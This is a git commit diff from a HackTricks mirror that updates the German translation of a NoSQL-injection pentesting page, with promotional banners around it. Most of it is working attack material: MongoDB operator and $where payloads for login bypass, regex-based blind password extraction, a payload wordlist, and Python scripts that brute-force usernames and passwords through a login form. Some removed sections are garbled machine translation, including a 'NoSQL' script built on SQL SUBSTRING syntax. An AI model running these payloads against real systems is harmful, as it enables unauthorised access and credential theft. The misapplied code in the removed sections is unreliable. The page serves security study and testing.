mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['pentesting-web/nosql-injection.md'] to de
This commit is contained in:
parent
6c0b333b2d
commit
c209da5b11
1 changed files with 30 additions and 249 deletions
|
@ -1,23 +1,24 @@
|
|||
# NoSQL-Injection
|
||||
# NoSQL-Injektion
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
|
||||
Erhalten Sie noch heute Zugriff:
|
||||
\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
|
||||
Heute Zugriff erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -39,7 +40,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
|
|||
```
|
||||
### Grundlegende Authentifizierungsumgehung
|
||||
|
||||
**Verwendung von "nicht gleich" ($ne) oder "größer" ($gt)**
|
||||
**Verwendung von Ungleich ($ne) oder Größer ($gt)**
|
||||
```bash
|
||||
#in URL
|
||||
username[$ne]=toto&password[$ne]=toto
|
||||
|
@ -51,121 +52,22 @@ username[$exists]=true&password[$exists]=true
|
|||
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
|
||||
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
|
||||
```
|
||||
### **SQL - Mongo**
|
||||
|
||||
#### **NoSQL-Injection**
|
||||
|
||||
NoSQL-Injection ist eine Art von Angriff, bei dem ein Angreifer schädlichen Code in eine NoSQL-Datenbank einschleust, um unerwünschte Aktionen auszuführen oder Daten zu exfiltrieren. Im Falle von MongoDB können NoSQL-Injection-Angriffe auftreten, wenn die Anwendung unsichere oder unzureichend validierte Eingaben verwendet, um Abfragen an die Datenbank zu senden.
|
||||
|
||||
#### **Typen von NoSQL-Injection**
|
||||
|
||||
Es gibt verschiedene Arten von NoSQL-Injection-Angriffen, die in MongoDB auftreten können:
|
||||
|
||||
- **Boolean-Based Injection**: Der Angreifer nutzt boolesche Ausdrücke, um Informationen aus der Datenbank abzurufen. Durch die Manipulation von Abfragen kann der Angreifer feststellen, ob eine Bedingung wahr oder falsch ist.
|
||||
|
||||
- **Time-Based Injection**: Der Angreifer nutzt Verzögerungen in der Datenbankantwort, um Informationen zu extrahieren. Durch die Einführung von Verzögerungen in den Abfragen kann der Angreifer feststellen, ob eine Bedingung erfüllt ist oder nicht.
|
||||
|
||||
- **Error-Based Injection**: Der Angreifer nutzt Fehlermeldungen der Datenbank, um Informationen zu erhalten. Durch die Manipulation von Abfragen kann der Angreifer Fehler provozieren und dadurch Informationen über die Datenbankstruktur oder sensible Daten erhalten.
|
||||
|
||||
#### **Ausnutzen von NoSQL-Injection**
|
||||
|
||||
Um NoSQL-Injection auszunutzen, muss der Angreifer die Schwachstellen in der Anwendung identifizieren und geeignete Angriffsvektoren verwenden. Hier sind einige gängige Techniken, die verwendet werden können:
|
||||
|
||||
- **Einfügen von Operatorzeichen**: Der Angreifer kann Operatorzeichen wie `$gt`, `$ne`, `$regex` usw. verwenden, um Abfragen zu manipulieren und unerwünschte Ergebnisse zu erzielen.
|
||||
|
||||
- **Einfügen von regulären Ausdrücken**: Der Angreifer kann reguläre Ausdrücke verwenden, um Abfragen zu manipulieren und Informationen aus der Datenbank abzurufen.
|
||||
|
||||
- **Einfügen von JavaScript-Code**: Der Angreifer kann JavaScript-Code in Abfragen einfügen, um unerwünschte Aktionen auszuführen oder Daten zu exfiltrieren.
|
||||
|
||||
#### **Schutz vor NoSQL-Injection**
|
||||
|
||||
Um sich vor NoSQL-Injection-Angriffen zu schützen, sollten folgende Maßnahmen ergriffen werden:
|
||||
|
||||
- **Eingabevalidierung**: Stellen Sie sicher, dass alle Eingaben ordnungsgemäß validiert werden, um unerwünschte Zeichen oder Ausdrücke zu verhindern.
|
||||
|
||||
- **Parameterisierte Abfragen**: Verwenden Sie parameterisierte Abfragen, um sicherzustellen, dass Benutzereingaben nicht direkt in Abfragen eingefügt werden.
|
||||
|
||||
- **Begrenzung der Berechtigungen**: Gewähren Sie der Anwendung nur die minimalen Berechtigungen, die sie zum Ausführen von Abfragen benötigt.
|
||||
|
||||
- **Aktualisierung der Datenbank**: Halten Sie Ihre Datenbank auf dem neuesten Stand, um von den neuesten Sicherheitsupdates zu profitieren.
|
||||
|
||||
- **Sicherheitsbewusstsein**: Schulen Sie Entwickler und Administratoren über die Risiken von NoSQL-Injection und die besten Sicherheitspraktiken.
|
||||
### **NoSQL - Mongo**
|
||||
```javascript
|
||||
query = { $where: `this.username == '${username}'` }
|
||||
```
|
||||
Ein Angreifer kann dies ausnutzen, indem er Zeichenketten wie `admin' || 'a'=='a` eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie (`'a'=='a'`) erfüllt wird. Dies ist analog zu SQL-Injektionsangriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. Bei MongoDB können ähnliche Injektionen mit Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden.
|
||||
Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie `admin' || 'a'=='a` eingibt, um die Abfrage so zu manipulieren, dass alle Dokumente zurückgegeben werden, indem die Bedingung mit einer Tautologie (`'a'=='a'`) erfüllt wird. Dies ist analog zu SQL-Injektionsangriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen durch Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden.
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||
```
|
||||
### Extrahieren von **Längeninformationen**
|
||||
|
||||
Um die Länge einer bestimmten Datenbankabfrage zu extrahieren, können Sie die Technik der NoSQL-Injektion verwenden. Diese Methode ermöglicht es Ihnen, die Länge der zurückgegebenen Daten zu ermitteln, indem Sie speziell gestaltete Anfragen senden.
|
||||
|
||||
#### MongoDB
|
||||
|
||||
Um die Länge einer MongoDB-Abfrage zu extrahieren, können Sie den `$where`-Operator verwenden. Hier ist ein Beispiel:
|
||||
|
||||
```javascript
|
||||
db.collection.find({$where: "this.field.length == 10"})
|
||||
```
|
||||
|
||||
Dieses Beispiel sucht nach Dokumenten in der angegebenen Sammlung, bei denen das Feld `field` eine Länge von 10 hat. Wenn die Abfrage erfolgreich ist, erhalten Sie eine Antwort mit den entsprechenden Dokumenten.
|
||||
|
||||
#### CouchDB
|
||||
|
||||
In CouchDB können Sie die `length()`-Funktion verwenden, um die Länge einer Zeichenkette zu ermitteln. Hier ist ein Beispiel:
|
||||
|
||||
```javascript
|
||||
GET /database/_design/doc/_view/view?startkey="key"&endkey="key"+{}&reduce=false&include_docs=true
|
||||
```
|
||||
|
||||
In diesem Beispiel wird die `length()`-Funktion verwendet, um die Länge der Zeichenkette `key` zu ermitteln. Die Antwort enthält die entsprechenden Dokumente.
|
||||
|
||||
#### Redis
|
||||
|
||||
In Redis können Sie die `STRLEN`-Befehlsfunktion verwenden, um die Länge eines Schlüssels zu ermitteln. Hier ist ein Beispiel:
|
||||
|
||||
```bash
|
||||
GET key
|
||||
```
|
||||
|
||||
Dieses Beispiel ruft den Wert des Schlüssels `key` ab. Die Antwort enthält die Länge des Werts.
|
||||
|
||||
#### Elasticsearch
|
||||
|
||||
In Elasticsearch können Sie die `script_fields`-Funktion verwenden, um die Länge eines Feldes zu ermitteln. Hier ist ein Beispiel:
|
||||
|
||||
```json
|
||||
GET /index/_search
|
||||
{
|
||||
"script_fields": {
|
||||
"field_length": {
|
||||
"script": {
|
||||
"source": "doc['field'].value.length()"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Dieses Beispiel verwendet die `script_fields`-Funktion, um die Länge des Feldes `field` zu ermitteln. Die Antwort enthält die entsprechenden Ergebnisse.
|
||||
|
||||
#### Oracle NoSQL
|
||||
|
||||
In Oracle NoSQL können Sie die `LENGTH()`-Funktion verwenden, um die Länge einer Zeichenkette zu ermitteln. Hier ist ein Beispiel:
|
||||
|
||||
```sql
|
||||
SELECT LENGTH(column) FROM table WHERE condition;
|
||||
```
|
||||
|
||||
Dieses Beispiel verwendet die `LENGTH()`-Funktion, um die Länge der Zeichenkette in der angegebenen Spalte zu ermitteln. Die Antwort enthält die entsprechenden Ergebnisse.
|
||||
### Extrahieren Sie Informationen zur **Länge**
|
||||
```bash
|
||||
username[$ne]=toto&password[$regex]=.{1}
|
||||
username[$ne]=toto&password[$regex]=.{3}
|
||||
# True if the length equals 1,3...
|
||||
```
|
||||
### Extrahieren Sie Informationen über **Daten**
|
||||
### Extrahiere **Daten** Informationen
|
||||
```
|
||||
in URL (if length == 3)
|
||||
username[$ne]=toto&password[$regex]=a.{2}
|
||||
|
@ -183,76 +85,7 @@ in JSON
|
|||
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
|
||||
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
||||
```
|
||||
### **SQL - Mongo**
|
||||
|
||||
#### **NoSQL-Injection**
|
||||
|
||||
NoSQL-Injection ist eine Art von Angriff, bei dem ein Angreifer schädlichen Code in eine NoSQL-Datenbank einschleust, um unerwünschte Aktionen auszuführen oder Daten zu exfiltrieren. Im Falle von MongoDB kann NoSQL-Injection auftreten, wenn die Anwendung unsichere Eingaben nicht ordnungsgemäß validiert oder filtert.
|
||||
|
||||
#### **Payloads**
|
||||
|
||||
Die folgenden Payloads können verwendet werden, um NoSQL-Injection-Angriffe gegen MongoDB durchzuführen:
|
||||
|
||||
- **$ne**: Wird verwendet, um eine Bedingung zu überprüfen, die nicht erfüllt sein sollte.
|
||||
- **$gt**: Wird verwendet, um eine Bedingung zu überprüfen, die größer als ein bestimmter Wert sein sollte.
|
||||
- **$gte**: Wird verwendet, um eine Bedingung zu überprüfen, die größer oder gleich einem bestimmten Wert sein sollte.
|
||||
- **$lt**: Wird verwendet, um eine Bedingung zu überprüfen, die kleiner als ein bestimmter Wert sein sollte.
|
||||
- **$lte**: Wird verwendet, um eine Bedingung zu überprüfen, die kleiner oder gleich einem bestimmten Wert sein sollte.
|
||||
- **$in**: Wird verwendet, um eine Bedingung zu überprüfen, die in einer bestimmten Liste von Werten enthalten sein sollte.
|
||||
- **$nin**: Wird verwendet, um eine Bedingung zu überprüfen, die nicht in einer bestimmten Liste von Werten enthalten sein sollte.
|
||||
|
||||
#### **Beispiel**
|
||||
|
||||
Angenommen, wir haben eine Anwendung, die Benutzern erlaubt, sich anzumelden und ihre E-Mails abzurufen. Die Anwendung verwendet MongoDB als Datenbank. Der folgende Code zeigt, wie die Anwendung die Benutzeranmeldung überprüft:
|
||||
|
||||
```javascript
|
||||
const username = req.body.username;
|
||||
const password = req.body.password;
|
||||
|
||||
const user = await User.findOne({ username: username, password: password });
|
||||
|
||||
if (user) {
|
||||
// Benutzer erfolgreich angemeldet
|
||||
res.send('Erfolgreich angemeldet');
|
||||
} else {
|
||||
// Ungültige Anmeldeinformationen
|
||||
res.send('Ungültige Anmeldeinformationen');
|
||||
}
|
||||
```
|
||||
|
||||
In diesem Beispiel wird die `findOne`-Methode von MongoDB verwendet, um den Benutzer anhand des Benutzernamens und des Passworts zu suchen. Wenn ein Benutzer gefunden wird, wird er als gültig angesehen und die Anmeldung wird als erfolgreich betrachtet.
|
||||
|
||||
Ein Angreifer kann jedoch versuchen, NoSQL-Injection auszunutzen, indem er speziell gestaltete Eingaben verwendet. Angenommen, der Angreifer gibt als Benutzernamen `admin` ein und als Passwort `{ $ne: null }`. Der Code würde dann wie folgt aussehen:
|
||||
|
||||
```javascript
|
||||
const username = 'admin';
|
||||
const password = { $ne: null };
|
||||
|
||||
const user = await User.findOne({ username: username, password: password });
|
||||
|
||||
if (user) {
|
||||
// Benutzer erfolgreich angemeldet
|
||||
res.send('Erfolgreich angemeldet');
|
||||
} else {
|
||||
// Ungültige Anmeldeinformationen
|
||||
res.send('Ungültige Anmeldeinformationen');
|
||||
}
|
||||
```
|
||||
|
||||
Da `$ne` in MongoDB verwendet wird, um eine Bedingung zu überprüfen, die nicht erfüllt sein sollte, würde der Angreifer in diesem Fall alle Benutzer zurückgeben, da das Passwort immer ungleich `null` ist. Der Angreifer könnte dann auf die E-Mails aller Benutzer zugreifen, anstatt nur auf seine eigenen.
|
||||
|
||||
#### **Gegenmaßnahmen**
|
||||
|
||||
Um NoSQL-Injection-Angriffe zu verhindern, sollten folgende Maßnahmen ergriffen werden:
|
||||
|
||||
- **Eingabevalidierung**: Stellen Sie sicher, dass alle Benutzereingaben ordnungsgemäß validiert und gefiltert werden, um schädlichen Code zu verhindern.
|
||||
- **Parameterisierte Abfragen**: Verwenden Sie parameterisierte Abfragen, um sicherzustellen, dass Benutzereingaben nicht direkt in Abfragen eingefügt werden.
|
||||
- **Least Privilege**: Verwenden Sie Datenbankbenutzer mit den geringsten erforderlichen Berechtigungen, um das Risiko von Datenlecks zu minimieren.
|
||||
- **Aktualisieren Sie Ihre Bibliotheken**: Halten Sie Ihre verwendeten Bibliotheken auf dem neuesten Stand, um von den neuesten Sicherheitsupdates zu profitieren.
|
||||
|
||||
#### **Zusammenfassung**
|
||||
|
||||
NoSQL-Injection ist eine ernsthafte Sicherheitslücke, die in MongoDB-Anwendungen auftreten kann. Durch unsichere Eingabevalidierung und fehlende Filterung können Angreifer schädlichen Code in die Datenbank einschleusen und unerwünschte Aktionen ausführen. Es ist wichtig, geeignete Gegenmaßnahmen zu ergreifen, um NoSQL-Injection-Angriffe zu verhindern und die Sicherheit der Anwendung zu gewährleisten.
|
||||
### **NoSQL - Mongo**
|
||||
```
|
||||
/?search=admin' && this.password%00 --> Check if the field password exists
|
||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
||||
|
@ -266,7 +99,7 @@ NoSQL-Injection ist eine ernsthafte Sicherheitslücke, die in MongoDB-Anwendunge
|
|||
```
|
||||
### PHP Beliebige Funktionsausführung
|
||||
|
||||
Mit dem **$func** Operator der [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) Bibliothek (standardmäßig verwendet) ist es möglicherweise möglich, eine beliebige Funktion auszuführen, wie in [diesem Bericht](https://swarm.ptsecurity.com/rce-cockpit-cms/) beschrieben.
|
||||
Unter Verwendung des **$func**-Operators der [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite)-Bibliothek (standardmäßig verwendet) ist es möglicherweise möglich, eine beliebige Funktion auszuführen, wie in [diesem Bericht](https://swarm.ptsecurity.com/rce-cockpit-cms/) beschrieben.
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
|
@ -274,7 +107,9 @@ Mit dem **$func** Operator der [MongoLite](https://github.com/agentejo/cockpit/t
|
|||
|
||||
### Informationen aus verschiedenen Sammlungen abrufen
|
||||
|
||||
Es ist möglich, [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) zu verwenden, um Informationen aus einer anderen Sammlung abzurufen. Im folgenden Beispiel lesen wir aus einer **anderen Sammlung** namens **`users`** und erhalten die **Ergebnisse aller Einträge**, bei denen das Passwort mit einem Platzhalter übereinstimmt.
|
||||
Es ist möglich, [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) zu verwenden, um Informationen aus einer anderen Sammlung abzurufen. Im folgenden Beispiel lesen wir aus einer **anderen Sammlung** namens **`users`** und erhalten die **Ergebnisse aller Einträge**, bei denen ein Passwort mit einem Platzhalter übereinstimmt.
|
||||
|
||||
**HINWEIS:** `$lookup` und andere Aggregatfunktionen sind nur verfügbar, wenn die `aggregate()`-Funktion verwendet wurde, um die Suche durchzuführen, anstelle der häufigeren `find()`- oder `findOne()`-Funktionen.
|
||||
```json
|
||||
[
|
||||
{
|
||||
|
@ -295,14 +130,15 @@ Es ist möglich, [**$lookup**](https://www.mongodb.com/docs/manual/reference/ope
|
|||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
|
||||
Erhalten Sie noch heute Zugriff:
|
||||
\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
|
||||
Heute Zugriff erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## MongoDB-Payloads
|
||||
## MongoDB Payloads
|
||||
|
||||
Liste [hier](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
Liste [von hier](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
```
|
||||
true, $where: '1 == 1'
|
||||
, $where: '1 == 1'
|
||||
|
@ -332,62 +168,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
|||
{"username": {"$gt":""}, "password": {"$gt":""}}
|
||||
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
|
||||
```
|
||||
## Blind NoSQL-Skript
|
||||
|
||||
Ein Blind NoSQL-Skript ist ein Angriffsskript, das verwendet wird, um NoSQL-Injektionen in einer Anwendung zu identifizieren. Bei einer Blind NoSQL-Injektion wird versucht, Informationen aus der Datenbank zu extrahieren, indem Anfragen mit speziell konstruierten Parametern gesendet werden.
|
||||
|
||||
### Funktionsweise
|
||||
|
||||
Das Blind NoSQL-Skript basiert auf der Annahme, dass die Anwendung unterschiedliche Verhaltensweisen zeigt, je nachdem, ob eine Anfrage erfolgreich ist oder nicht. Durch systematisches Ausprobieren verschiedener Parameterwerte kann der Angreifer schrittweise Informationen über die Datenbank extrahieren.
|
||||
|
||||
Das Skript sendet Anfragen mit verschiedenen Werten für den zu injizierenden Parameter und analysiert die Antwort der Anwendung. Anhand der Antwort kann der Angreifer Rückschlüsse auf den internen Zustand der Datenbank ziehen.
|
||||
|
||||
### Beispiel
|
||||
|
||||
Ein Beispiel für ein Blind NoSQL-Skript könnte wie folgt aussehen:
|
||||
|
||||
```javascript
|
||||
const request = require('request');
|
||||
|
||||
function makeRequest(payload) {
|
||||
return new Promise((resolve, reject) => {
|
||||
request.post('https://example.com/login', { form: { username: payload } }, (error, response, body) => {
|
||||
if (error) {
|
||||
reject(error);
|
||||
} else {
|
||||
resolve(body);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
async function blindNoSQLInjection() {
|
||||
let extractedData = '';
|
||||
const characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||
|
||||
for (let i = 0; i < 20; i++) {
|
||||
for (let j = 0; j < characters.length; j++) {
|
||||
const payload = `admin' AND SUBSTRING(password, ${i + 1}, 1) = '${characters[j]}' -- `;
|
||||
const response = await makeRequest(payload);
|
||||
|
||||
if (response.includes('Welcome back, admin')) {
|
||||
extractedData += characters[j];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
console.log(`Extracted data: ${extractedData}`);
|
||||
}
|
||||
|
||||
blindNoSQLInjection();
|
||||
```
|
||||
|
||||
In diesem Beispiel wird versucht, das Passwort eines Administrators aus der Datenbank zu extrahieren. Das Skript sendet Anfragen mit verschiedenen Zeichenwerten für jedes Zeichen des Passworts und überprüft die Antwort der Anwendung. Wenn die Antwort darauf hinweist, dass das Zeichen korrekt ist, wird es dem extrahierten Datenstring hinzugefügt.
|
||||
|
||||
### Schutzmaßnahmen
|
||||
|
||||
Um sich vor Blind NoSQL-Injektionen zu schützen, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, bevor sie in Datenbankabfragen verwendet werden. Es ist auch ratsam, die Verwendung von NoSQL-Datenbanken mit eingebauten Schutzmechanismen zu erwägen, die automatisch potenzielle Injektionen erkennen und blockieren können.
|
||||
## Blind NoSQL Skript
|
||||
```python
|
||||
import requests, string
|
||||
|
||||
|
@ -423,9 +204,9 @@ if 'OK' in r.text:
|
|||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
### Brute-Force-Anmeldung von Benutzernamen und Passwörtern über POST-Anmeldung
|
||||
### Brute-Force-Anmeldungsnamen und Passwörter aus POST-Login
|
||||
|
||||
Dies ist ein einfaches Skript, das Sie anpassen könnten, aber die zuvor genannten Tools können diese Aufgabe ebenfalls erledigen.
|
||||
Dies ist ein einfaches Skript, das Sie anpassen könnten, aber die vorherigen Tools können diese Aufgabe auch erledigen.
|
||||
```python
|
||||
import requests
|
||||
import string
|
||||
|
@ -479,22 +260,22 @@ get_password(u)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
||||
Erhalten Sie noch heute Zugang:
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
|
||||
Heute Zugriff erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
Loading…
Reference in a new issue